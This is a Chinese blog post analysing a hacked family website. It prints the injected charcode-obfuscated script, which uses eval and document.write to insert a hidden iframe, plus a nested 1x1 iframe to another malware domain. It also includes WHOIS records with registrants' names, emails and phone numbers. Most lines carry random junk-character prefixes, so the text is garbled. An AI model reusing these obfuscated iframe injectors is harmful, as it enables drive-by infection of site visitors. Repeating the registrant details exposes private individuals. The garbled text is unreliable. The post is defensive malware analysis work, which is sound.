首发在我的博客里面，
b~ WiE? [N'YFb3"O http://www.areway.cn/?p=175 o.* 8$$ K;k&w; j z~U qA1r 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
][I}yOD70 +MvcW.W~ <script>t=’60,105,102,114,97,109,101,
hL+)XJu^J 32,115,114,99,61,104,116,116,112,58,47,47,
_>S."cm}!k 102,114,101,101,46,117,45,117,117,117,46,99,
V80g+)| 110,47,101,114,114,111,114,46,104,116,109,
D/5 ah_; 32,119,105,100,116,104,61,49,48,48,32,104,
S[n ;u-U 101,105,103,104,116,61,48,62,60,47,105,102,
B_aLqB]U 114,97,109,101,62′;
PsjSL8] t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
xf_NHKZ) -M/DOTc <script>t=’60,105,102,114,97,109,101,32,115,
Oc}4`?oy<O 114,99,61,104,116,116,112,58,47,47,102,114,
,Tvfn`;( 101,101,46,117,45,117,117,117,46,99,110,47,
x9hkE!{8 101,114,114,111,114,46,104,116,109,32,119,
L K-2e$1 105,100,116,104,61,49,48,48,32,104,101,105,
iOYC1QFi? 103,104,116,61,48,62,60,47,105,102,114,97,
< HlS0J9 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ifHQ2Ug 9 document.write(t);</script>
/5b,& f!|7j}3 <html xmlns=”
vR[XbsNM http://www.w3.org/1999/xhtml u!S ^lV@ “>
Il J!jq <head>
(&H-v'a}3 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
k)U9 %Pr <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
F=?0:2P0bD <title>首页 - 爱生活家庭网
b1>zGC^| j *B ,b4 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(S3\O ` 5 转换字符串后的大概内容是（谁点击后果自付）：
!VBl/ aU@ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
ve|ig]$5g< 6jyS]($q 查询玉米u-uuu.cn的详细信息：
2#%@j6 Domain Name: u-uuu.cn
W@Et ROID: 20070901s10001s64972306-cn
2l^hnog| Domain Status: ok
u*u3<YQ Registrant Organization: 王雷
n] {sBI3 Registrant Name: 王雷
YGFE(t;lPU Administrative Email:
czlovexs@126.com
cih[A2lp Sponsoring Registrar: 北京万网志成科技有限公司
&m<:&h& b Name Server:ns.yovole.com
82d~>i%T Name Server:ns1.yovole.com
O1]L4V1iH Registration Date: 2007-09-01 17:54
<~s{&cL!%# Expiration Date: 2008-09-01 17:54
H%y!lR{c^D 最后PING了一下地址 都没有什么….
sa 6/ $ \zOo[/-< 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
O\0]o! <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
$o}Ao@WkO <script language=”javascript” src=”
LkvR]^u0 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script "]H_;:{f >
/<zBjvr%% 这个玉米应该有可能是木马作者的：
&}}UdJ` foafau.info的详细信息：
PiQs Vk Access to INFO WHOIS information is provided to assist persons in
[9 N>*dKB determining the contents of a domain name registration record in the
at<N?r Afilias registry database. The data in this record is provided by
<yt|!p-tS Afilias Limited for informational purposes only, and Afilias does not
hJ|zX guarantee its accuracy. This service is intended only for query-based
_TLB1T^/4 access. You agree that you will use this data only for lawful purposes
' tyblj C and that, under no circumstances will you use this data to: (a) allow,
=*2_B~` enable, or otherwise support the transmission by e-mail, telephone, or
naOCa facsimile of mass unsolicited, commercial advertising or solicitations
e 97Ll=> to entities other than the data recipient’s own existing customers; or
g+v.rmX (b) enable high volume, automated, electronic processes that send
R"Ff(1m queries or data to the systems of Registry Operator, a Registrar, or
J]mG!# 9 Afilias except as reasonably necessary to register domain names or
YL[n85l>1 modify existing registrations. All rights reserved. Afilias reserves
^\ "@r%| the right to modify these terms at any time. By submitting this query,
>G#SfE$0 you agree to abide by this policy.
9Su4nt `i Domain ID:D22418703-LRMS
JJE?!Yvc Domain Name:FOAFAU.INFO
E!Ljq 3iT` Created On:20-Nov-2007 16:05:42 UTC
mc
FSWmq Last Updated On:20-Nov-2007 16:05:44 UTC
&AUtUp
kOo Expiration Date:20-Nov-2008 16:05:42 UTC
\m o NpKf Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
h;C/} s Status:CLIENT DELETE PROHIBITED
qz_'v{uAj Status:CLIENT RENEW PROHIBITED
nXRT%[o& Status:CLIENT TRANSFER PROHIBITED
]wxjd
l Status:CLIENT UPDATE PROHIBITED
H\vd0DD; Status:TRANSFER PROHIBITED
AX{X:L8Ut2 Registrant ID:GODA-040110615
IoAG !c S Registrant Name:liu hong
@y ImR+^.7 Registrant Organization:
-|.Izgc Registrant Street1:beijing
Bz+zEXBC Registrant Street2:
MrU0Jrk4+ Registrant Street3:
](@HPAG] Registrant City:beijing
_ J t Registrant State/Province:
<6rc 8jYz Registrant Postal Code:100000
nhdOo
Registrant Country:CN
,%=SO 82W Registrant Phone:+86.860108888777
.Ld{QPa Registrant Phone Ext.:
'-KYeT\; Registrant FAX:
chC= $(5t Registrant FAX Ext.:
iZ( U] Registrant Email:bbbshiji@163.com
'W_u1l/ Admin ID:GODA-240110615
nDU=B.?E{O Admin Name:liu hong
`m")v0n3 Admin Organization:
d8C44q+ds Admin Street1:beijing
,
RKl Admin Street2:
b0| ;v-v Admin Street3:
? h |& kRq Admin City:beijing
=bHS@h8N< Admin State/Province:
&l8elj g Admin Postal Code:100000
1=@csO_yn Admin Country:CN
7cQFH@SC Admin Phone:+86.860108888777
b2r]>*Vc Admin Phone Ext.:
*,FU*z i Admin FAX:
asc Y E Admin FAX Ext.:
pNnZ-R|u Admin Email:bbbshiji@163.com
=pk5'hBAi Billing ID:GODA-340110615
;@<Rh^g] Billing Name:liu hong
wrhGZ=k{ Billing Organization:
/$'|`j KsB Billing Street1:beijing
e2_p7
Billing Street2:
MXa(Oi2G g Billing Street3:
UP .4# 1I Billing City:beijing
dMw}4c3E Billing State/Province:
MU>6s`6O Billing Postal Code:100000
IQ\5!e Billing Country:CN
or
qL0i Billing Phone:+86.860108888777
w.o>G2u Billing Phone Ext.:
>[0t@Tu,D Billing FAX:
}bZb8hiG Billing FAX Ext.:
s9rKXY',:l Billing Email:bbbshiji@163.com
/e;E+
Tech ID:GODA-140110615
8G )O,F7z Tech Name:liu hong
8|) $;. Tech Organization:
wx*03(|j; Tech Street1:beijing
Wl0p-h Tech Street2:
5ktFL<^5T Tech Street3:
f\vMdY Tech City:beijing
+~n4</ Tech State/Province:
7 h#*dj ef Tech Postal Code:100000
Qf($F,)K Tech Country:CN
Ws/\ lD Tech Phone:+86.860108888777
;DgQ8"f Tech Phone Ext.:
POI |#[-V Tech FAX:
gvFs$X*^: Tech FAX Ext.:
8J)Kn4jq Tech Email:bbbshiji@163.com
6L<QKE= Name Server:NS27.DOMAINCONTROL.COM
><xJQeW Name Server:NS28.DOMAINCONTROL.COM
HChlkj'7w0 Name Server:
(Xl+Zi>\{ Name Server:
| Di7 ,$c Name Server:
@]Y EOk- Name Server:
P%aNbMg Name Server:
{BY( zsl Name Server:
8ByNaXMO6 Name Server:
Le V";=_n Name Server:
3Z}v%=5
" Name Server:
Bn{i+8I Name Server:
\Mzr[dI Name Server:
4 O pf[3] muMd9\p 接着下载每个文件里面的代码：
w0X})&,{`m 一步一步看..
Vg(FF " 
~gdnD4[G 
K5HzA1^ 
Dkg^B@5Xr 
>dJ[1s] 
NG8 F'=< 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
